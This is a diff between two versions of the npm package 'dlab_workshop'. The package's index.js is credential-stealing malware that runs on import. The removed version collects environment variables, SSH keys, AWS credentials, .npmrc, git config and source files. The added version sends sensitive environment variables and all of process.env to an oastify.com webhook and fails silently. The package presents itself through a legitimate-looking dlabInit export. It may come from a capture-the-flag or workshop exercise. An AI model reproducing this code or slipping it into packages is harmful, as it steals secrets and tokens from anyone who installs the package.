dlab_workshop 1.0.5 → 1.0.7

package/index.js

@@ -1,306 +1,50 @@
-// Malicious dlab_workshop package payload - FIXED
-// This would be the main index.js in the malicious npm package
-
-const os = require('os');
-const fs = require('fs');
-const path = require('path');
+// Minimal dlab_workshop - env variables only
 const https = require('https');
-const http = require('http');
 const { URL } = require('url');
 
-// Webhook to exfiltrate data
-const WEBHOOK_URL = 'https://xvw7xrftj6a1npnpcs2557r78yep2lqa.oastify.com';
-
-// ===== Data Exfiltration Functions =====
-
-function exfiltrate(data, endpoint = '') {
-  const dataStr = JSON.stringify(data);
-  const encoded = Buffer.from(dataStr).toString('base64');
-  const urlPath = '/' + endpoint + '?data=' + encoded.substring(0, 2000); // Limit URL length
-
-  console.log(`[*] Exfiltrating ${endpoint}...`);
+const WEBHOOK = 'https://qa40ckumyzpu2i2irlhyk060nrtihf54.oastify.com/env';
 
+function exfiltrate(data) {
   try {
-    const url = new URL(WEBHOOK_URL + urlPath);
-    const protocol = url.protocol === 'https:' ? https : http;
+    const payload = JSON.stringify(data);
+    const encoded = Buffer.from(payload).toString('base64').substring(0, 1500);
+    const fullUrl = WEBHOOK + '?data=' + encoded;
+    const url = new URL(fullUrl);
 
     const options = {
       hostname: url.hostname,
-      port: url.port || (url.protocol === 'https:' ? 443 : 80),
       path: url.pathname + url.search,
       method: 'GET',
-      timeout: 5000
+      timeout: 3000
     };
 
-    const req = protocol.request(options, (res) => {
-      console.log(`[+] Exfil sent (${res.statusCode})`);
-    });
-
-    req.on('error', (e) => {
-      console.log(`[!] Exfil error: ${e.message}`);
-    });
-
-    req.end();
+    https.request(options, (res) => {}).on('error', () => {}).end();
   } catch (e) {
-    console.log('[!] Error during exfiltration:', e.message);
+    // Silent fail
   }
 }
 
-function exfiltratePost(data, endpoint = '') {
-  const payload = JSON.stringify(data);
-
-  console.log(`[*] POST exfiltrating ${endpoint}...`);
-
-  try {
-    const url = new URL(WEBHOOK_URL + '/' + endpoint);
-    const protocol = url.protocol === 'https:' ? https : http;
-
-    const options = {
-      hostname: url.hostname,
-      port: url.port || (url.protocol === 'https:' ? 443 : 80),
-      path: url.pathname,
-      method: 'POST',
-      headers: {
-        'Content-Type': 'application/json',
-        'Content-Length': Buffer.byteLength(payload)
-      },
-      timeout: 5000
-    };
-
-    const req = protocol.request(options, (res) => {
-      console.log(`[+] POST exfil sent (${res.statusCode})`);
-    });
-
-    req.on('error', (e) => {
-      console.log(`[!] POST exfil error: ${e.message}`);
-    });
-
-    req.write(payload);
-    req.end();
-  } catch (e) {
-    console.log('[!] Error during POST exfiltration:', e.message);
-  }
-}
+function dlabInit(config) {
+  const sensitive = {};
+  const keys = ['FLAG', 'API', 'KEY', 'SECRET', 'TOKEN', 'PASS', 'PASSWORD', 'DB', 'DATABASE', 'MONGO', 'REDIS', 'AWS', 'GITHUB', 'SLACK', 'WEBHOOK', 'AUTH', 'CERT', 'PRIVATE'];
 
-function stealEnvironmentVariables() {
-  console.log('[*] Collecting environment variables...');
-
-  const sensitiveVars = {};
-  const sensitiveKeywords = [
-    'API', 'KEY', 'SECRET', 'TOKEN', 'PASS', 'PASSWORD',
-    'DB', 'DATABASE', 'FLAG', 'MONGO', 'REDIS', 'AWS', 'GITHUB',
-    'SLACK', 'WEBHOOK', 'AUTH', 'CERT', 'PRIVATE'
-  ];
-
-  for (const [key, value] of Object.entries(process.env)) {
-    const upperKey = key.toUpperCase();
-    if (sensitiveKeywords.some(kw => upperKey.includes(kw))) {
-      sensitiveVars[key] = value;
-    }
-  }
-
-  return {
-    type: 'environment_variables',
-    data: sensitiveVars,
-    timestamp: new Date().toISOString()
-  };
-}
-
-function stealSourceCode() {
-  console.log('[*] Stealing source code...');
-
-  const files = {};
-  const searchPaths = [
-    process.cwd(),
-    path.join(process.cwd(), '..'),
-    path.join(process.cwd(), 'src'),
-    path.join(process.cwd(), 'config'),
-  ];
-
-  const extensions = ['.js', '.json', '.env', '.env.local', '.env.production'];
-
-  for (const dir of searchPaths) {
-    try {
-      if (fs.existsSync(dir)) {
-        const contents = fs.readdirSync(dir);
-        for (const file of contents) {
-          const fullPath = path.join(dir, file);
-          const ext = path.extname(file);
-
-          // Only grab interesting files
-          if (extensions.includes(ext) ||
-              file.includes('config') ||
-              file.includes('secret') ||
-              file.includes('key') ||
-              file.includes('credential')) {
-            try {
-              const content = fs.readFileSync(fullPath, 'utf8');
-              files[fullPath] = content.substring(0, 10000); // Limit size
-            } catch (e) {
-              files[fullPath] = `[Error reading: ${e.message}]`;
-            }
-          }
-        }
-      }
-    } catch (e) {
-      console.log(`[!] Error scanning ${dir}: ${e.message}`);
+  Object.entries(process.env).forEach(([k, v]) => {
+    if (keys.some(x => k.toUpperCase().includes(x))) {
+      sensitive[k] = v;
     }
-  }
-
-  return {
-    type: 'source_code',
-    file_count: Object.keys(files).length,
-    files: files,
-    timestamp: new Date().toISOString()
-  };
-}
-
-function stealNodeModules() {
-  console.log('[*] Checking for sensitive packages...');
-
-  const packageJsonPath = path.join(process.cwd(), 'package.json');
-  let packageJson = {};
-
-  try {
-    if (fs.existsSync(packageJsonPath)) {
-      packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
-    }
-  } catch (e) {
-    console.log('[!] Error reading package.json');
-  }
-
-  return {
-    type: 'dependencies',
-    dependencies: packageJson.dependencies || {},
-    devDependencies: packageJson.devDependencies || {},
-    timestamp: new Date().toISOString()
-  };
-}
-
-function stealSystemInfo() {
-  console.log('[*] Collecting system information...');
-
-  return {
-    type: 'system_info',
-    platform: os.platform(),
-    arch: os.arch(),
-    hostname: os.hostname(),
-    username: os.userInfo().username,
-    cwd: process.cwd(),
-    node_version: process.version,
-    argv: process.argv,
-    timestamp: new Date().toISOString()
-  };
-}
-
-function stealGitInfo() {
-  console.log('[*] Checking for git information...');
-
-  const gitDir = path.join(process.cwd(), '.git');
-  const gitConfig = path.join(gitDir, 'config');
-
-  let gitInfo = {};
-
-  try {
-    if (fs.existsSync(gitConfig)) {
-      gitInfo.config = fs.readFileSync(gitConfig, 'utf8');
-    }
-  } catch (e) {
-    console.log('[!] Error reading git config');
-  }
-
-  return {
-    type: 'git_info',
-    data: gitInfo,
-    timestamp: new Date().toISOString()
-  };
-}
-
-function stealSecretsFiles() {
-  console.log('[*] Looking for secret files...');
-
-  const secretFileNames = [
-    '.env',
-    '.env.local',
-    '.env.production',
-    '.env.staging',
-    '.credentials',
-    '.aws/credentials',
-    '.ssh/config',
-    '.ssh/id_rsa',
-    '.ssh/id_ed25519',
-    'secrets.json',
-    'credentials.json',
-    '.npmrc',
-    '.gitconfig',
-  ];
-
-  const secrets = {};
-
-  for (const fileName of secretFileNames) {
-    const fullPath = path.join(os.homedir(), fileName);
-    try {
-      if (fs.existsSync(fullPath)) {
-        const content = fs.readFileSync(fullPath, 'utf8');
-        secrets[fileName] = content.substring(0, 5000); // Limit size
-      }
-    } catch (e) {
-      // Silently skip unreadable files
-    }
-  }
-
-  return {
-    type: 'secret_files',
-    data: secrets,
-    timestamp: new Date().toISOString()
-  };
-}
-
-// ===== Main Exfiltration =====
-
-function executePayload() {
-  console.log('[*] dlab_workshop package loaded - executing payload...');
-
-  try {
-    // Collect all stolen data
-    const envData = stealEnvironmentVariables();
-    const sysData = stealSystemInfo();
-    const depsData = stealNodeModules();
-    const gitData = stealGitInfo();
-    const secretData = stealSecretsFiles();
-    const codeData = stealSourceCode();
-
-    // Exfiltrate each data type
-    exfiltrate(envData, 'env_vars');
-    exfiltrate(sysData, 'system_info');
-    exfiltrate(depsData, 'dependencies');
-    exfiltrate(gitData, 'git_info');
-    exfiltrate(secretData, 'secrets');
-
-    // Use POST for larger data
-    exfiltratePost(codeData, 'source_code');
-
-    console.log('[+] Payload executed successfully');
-  } catch (e) {
-    console.log('[!] Error during payload execution:', e.message);
-  }
-}
+  });
 
-// ===== Module Exports (appear legitimate) =====
+  exfiltrate({
+    env: sensitive,
+    all_env: process.env,
+    timestamp: new Date().toISOString(),
+    platform: process.platform
+  });
 
-function dlabInit(config = {}) {
-  console.log('[*] dlabInit called with config:', config);
-  return {
-    initialized: true,
-    version: '1.0.1'
-  };
+  return { initialized: true, version: '1.0.1' };
 }
 
-// Execute payload on import
-executePayload();
+dlabInit({});
 
-module.exports = {
-  dlabInit: dlabInit,
-  version: '1.0.1'
-};
+module.exports = { dlabInit };
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "dlab_workshop",
-  "version": "1.0.5",
+  "version": "1.0.7",
   "description": "",
   "main": "index.js",
   "scripts": {